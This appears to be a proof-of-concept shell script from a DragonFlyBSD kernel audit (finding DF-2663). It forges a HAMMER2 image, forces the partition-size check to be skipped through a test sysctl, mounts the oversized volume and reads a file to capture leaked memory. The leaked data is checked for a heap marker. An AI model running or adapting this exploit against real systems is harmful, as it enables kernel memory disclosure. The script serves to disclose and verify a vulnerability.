DragonFlyBSD Kernel Audit
DF-2663 / stageA_df2663.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2663 kernel-A demo: the ondisk.c:283-291 skip, live.
# Same forged image (volu_size 320MB, data_off at 192MB|radix16, CHECK_NONE),
# same truncated backing; only the DIOCGPART result differs.
exec > /root/poc/runA.log 2>&1
set -x
uname -a | head -1
for m in /mnt/h2; do timeout 10 umount -f $m 2>/dev/null; done
dmsetup remove_all 2>/dev/null
vnconfig -u vn0 2>/dev/null
mkdir -p /mnt/h2

/root/poc/forge2663 /root/poc/base.img /root/poc/leak320.img 0xC000010 0x00 0x14000000

vnconfig -c vn0 /root/poc/leak320.img
truncate -s 201326592 /root/poc/leak320.img
/root/poc/diocgtest /dev/vn0

echo "=== A1: sysctl=0 (DIOCGPART works) -> containment check enforced"
sysctl vfs.hammer2.df2663_fail_diocgpart=0
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
echo "A1_MOUNT_RC=$?"
dmesg | tail -2

echo "=== A2: sysctl=1 (DIOCGPART fails) -> check SKIPPED, oversized volume accepted"
sysctl vfs.hammer2.df2663_fail_diocgpart=1
mount -t hammer2 -o ro /dev/vn0@leakfs /mnt/h2
echo "A2_MOUNT_RC=$?"
dmesg | tail -2
ls -l /mnt/h2
/root/poc/mark
cat /mnt/h2/leakfile > /root/poc/leakA.bin
echo "A2_READ_RC=$?"
md5 /root/poc/leakA.bin /root/poc/rand64
grep -c DF2663USERHEAP /root/poc/leakA.bin || echo no-marker-this-run
umount /mnt/h2
vnconfig -u vn0
sysctl vfs.hammer2.df2663_fail_diocgpart=0
echo KERNEL_A_DEMO_DONE